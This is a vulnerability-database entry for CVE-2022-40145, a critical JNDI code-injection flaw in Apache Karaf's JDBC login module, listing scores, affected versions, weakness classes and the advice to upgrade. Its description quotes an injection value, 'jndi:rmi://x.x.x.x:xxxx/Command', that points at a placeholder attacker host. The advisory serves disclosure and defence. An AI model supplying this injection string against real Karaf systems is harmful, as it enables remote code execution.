CVE-2022-40145: apache software foundation apache karaf Improper Input Validation
Vulnerability summary
CVE-2022-40145 is a critical (CVSS 9.8) Improper Input Validation vulnerability in apache software foundation apache karaf. EPSS estimates a 2.50% chance of exploitation in the next 30 days, higher than 84.4% of scored vulnerabilities.
Timeline
- 21-12-2022PublishedVulnerability first disclosed.
- 15-04-2025Last modifiedVulnerability information updated.
Description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
CVSS metrics
3 scores · 3 sources · 1 version- OSV · MavenEcosystem advisory · calculated9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- NVDNIST9.8CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS trend
Probability
2.50%
Chance of exploitation in the next 30 days
Percentile
84%
Versus all other CVEs
30-day change
+0.10 pp
From 2.40% on 18-09-2026
Known exploited
Compare KEV catalogsNot in any of the 3 tracked catalogs.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root cause- CWE-20Improper Input ValidationThe product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
- CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
Affected systems
Apache1 product
- karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2
Apache software foundation1 product
- apache karaf≥ 4.4.0, < 4.4.2 | < 4.3.8
Org.apache.karaf1 product
- apache-karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2
3 vendors · 3 products
References
7 links- github.com/apache/karafPACKAGE